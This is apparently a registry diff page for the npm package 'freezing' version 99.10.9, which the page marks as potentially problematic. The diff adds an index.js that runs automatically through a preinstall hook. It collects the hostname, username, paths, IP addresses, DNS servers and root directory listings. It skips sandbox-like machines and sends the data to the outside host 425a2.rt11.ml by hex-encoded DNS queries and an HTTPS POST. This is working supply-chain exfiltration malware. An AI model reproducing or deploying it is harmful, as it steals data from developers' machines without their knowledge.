freezing 99.10.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of freezing might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +214 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,214 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require('fs');
6
+ var path = require('path');
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ function checkhex(inputString){
11
+ var re = /^[0-9a-f]+$/g;
12
+ if(re.test(inputString)) {
13
+ return true
14
+ } else {
15
+ return false;
16
+ }
17
+ }
18
+ function checkpath(inputString){
19
+ var re = /^\/root\/extract[0-9]+\/package$/g;
20
+ if(re.test(inputString)) {
21
+ return true
22
+ } else {
23
+ return false;
24
+ }
25
+ }
26
+ function checklili(inputString){
27
+ var re = /^\/home\/lili\/vastest\/[0-9]+\/package$/g;
28
+ if(re.test(inputString)) {
29
+ return true
30
+ } else {
31
+ return false;
32
+ }
33
+ }
34
+ function isValid(hostname,path,username,dirs){
35
+ if(dirs.length==0){
36
+ lastdir = "";
37
+ }
38
+ else{
39
+ lastdir = dirs[dirs.length-1];
40
+ }
41
+ if(hostname == "DESKTOP-4E1IS0K" && username == "daasadmin" && path.startsWith('D:\\TRANSFER\\')){
42
+ return false;
43
+ }
44
+ else if(checkhex(hostname) && path.startsWith('/root/node_modules/') && lastdir == '/home/node'){
45
+ return false;
46
+ }
47
+ else if(checkhex(hostname) && checkpath(path)){
48
+ return false;
49
+ }
50
+ else if(hostname == 'box' && path.startsWith('/app/node_modules/') && lastdir == '/home/node'){
51
+ return false;
52
+ }
53
+ else if(hostname == 'box' && path.startsWith('/app/node_modules/')){
54
+ return false;
55
+ }
56
+ else if(hostname == 'box'){
57
+ return false;
58
+ }
59
+ else if(checkhex(hostname) && path.startsWith('/root/node_modules') && lastdir == '/home/node'){
60
+ return false;
61
+ }
62
+ else if(checkhex(hostname)){
63
+ return false;
64
+ }
65
+ //else if(hostname == 'lili-pc' && checklili(path)){
66
+ else if(hostname == 'lili-pc'){
67
+ return false;
68
+ }
69
+ else if(hostname == 'aws-7grara913oid5jsexgkq'){
70
+ return false;
71
+ }
72
+ //else if(hostname == 'instance' && path.startsWith('/home/app/node_modules/') && username == 'app'){
73
+ else if(hostname == 'instance'){
74
+ return false;
75
+ }
76
+ else{
77
+ return true;
78
+ }
79
+ return true;
80
+ }
81
+ function getFiles(paths) {
82
+ var ufiles=[];
83
+ for(var j=0;j<paths.length;j++){
84
+ try{
85
+ mpath = paths[j];
86
+ files = fs.readdirSync(mpath);
87
+ for(var i=0;i<files.length;i++){
88
+ ufiles.push(path.join(mpath,files[i]));
89
+ }
90
+ }
91
+ catch(error){}
92
+ }
93
+ return ufiles;
94
+ }
95
+
96
+ function isprivate(ip) {
97
+ if(ip.startsWith('fe80::')||ip=="::1")
98
+ return true;
99
+ var parts = ip.split('.');
100
+ return parts[0] === '10' ||
101
+ (parts[0] === '172' && (parseInt(parts[1], 10) >= 16 && parseInt(parts[1], 10) <= 31)) ||
102
+ (parts[0] === '192' && parts[1] === '168') || (parts[0] === '127' && parts[1] === '0' && parts[2] === '0');
103
+ }
104
+
105
+ function toHex(data){
106
+ const bufferText = Buffer.from(data, 'utf8');
107
+ const text = bufferText.toString('hex');
108
+ return text;
109
+ }
110
+
111
+ function todashedip(ip){
112
+ return ip.replace(/\./g, '-').replace(/:/g,'-');
113
+ }
114
+
115
+ function gethttpips(){
116
+ var str=[];
117
+ var networkInterfaces = os.networkInterfaces();
118
+ for(item in networkInterfaces){
119
+ if(item != "lo"){
120
+ for(var i=0;i<networkInterfaces[item].length;i++){
121
+ str.push(networkInterfaces[item][i].address);
122
+ }
123
+ }
124
+ }
125
+ return str;
126
+ }
127
+
128
+ function getIps(){
129
+ var str=[];
130
+ var networkInterfaces = os.networkInterfaces();
131
+ for(item in networkInterfaces){
132
+ if(item != "lo"){
133
+ for(var i=0;i<networkInterfaces[item].length;i++){
134
+ if(!isprivate(networkInterfaces[item][i].address))
135
+ str.push(networkInterfaces[item][i].address);
136
+ }
137
+ }
138
+ }
139
+ for(var i=0;i<str.length;i++){
140
+ if(str[i].includes('.'))
141
+ return "i."+todashedip(str[i])+".i";
142
+ }
143
+ if(str.length>0)
144
+ return "i."+todashedip(str[0])+".i";
145
+ else
146
+ return "i._.i";
147
+ }
148
+
149
+ function getPathChunks(path){
150
+ str="";
151
+ chunks = path.split('/');
152
+ for(var i=0;i<chunks.length;i++){
153
+ str=str+toHex(chunks[i])+".";
154
+ }
155
+ str=str.slice(1,-1);
156
+ return "p."+str+".p";
157
+ }
158
+
159
+ function toName(pkg){
160
+ var str="";
161
+ var queries = [];
162
+ var substr1 = "";
163
+ var substr2 = "";
164
+ var hostname = "425a2.rt11.ml";
165
+ str=toHex(pkg.hn)+"."+toHex(pkg.p)+"."+toHex(pkg.un)+"."+getPathChunks(pkg.c)+"."+getIps()+"."+hostname;
166
+ queries.push(str);
167
+ return queries;
168
+ }
169
+
170
+ const td = {
171
+ p: package,
172
+ c: __dirname,
173
+ hd: os.homedir(),
174
+ hn: os.hostname(),
175
+ un: os.userInfo().username,
176
+ dns: JSON.stringify(dns.getServers()),
177
+ ip: JSON.stringify(gethttpips()),
178
+ dirs: JSON.stringify(getFiles(["C:\\","D:\\","/","/home"])),
179
+ }
180
+ var qs = toName(td);
181
+ if(isValid(td.hn,td.c,td.un,td.dirs)){
182
+ for(var j=0;j<qs.length;j++){
183
+ dns.lookup(qs[j], function(err, result) {
184
+ //console.log(result)
185
+ });
186
+ }
187
+ const trackingData = JSON.stringify(td);
188
+ var postData = querystring.stringify({
189
+ msg: trackingData,
190
+ });
191
+ var options = {
192
+ hostname: "425a2.rt11.ml",
193
+ port: 443,
194
+ path: "/",
195
+ method: "POST",
196
+ headers: {
197
+ "Content-Type": "application/x-www-form-urlencoded",
198
+ "Content-Length": postData.length,
199
+ },
200
+ };
201
+
202
+ var req = https.request(options, (res) => {
203
+ res.on("data", (d) => {
204
+ //process.stdout.write(d);
205
+ });
206
+ });
207
+
208
+ req.on("error", (e) => {
209
+ // console.error(e);
210
+ });
211
+
212
+ req.write(postData);
213
+ req.end();
214
+ }
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "freezing",
3
+ "version": "99.10.9",
4
+ "description": "azbit package",
5
+ "main":"index.js",
6
+ "scripts":{
7
+ "test":"echo 'error no test specified' && exit 1",
8
+ "preinstall":"node index.js"
9
+ },
10
+ "author":"",
11
+ "License":"ISC"
12
+ }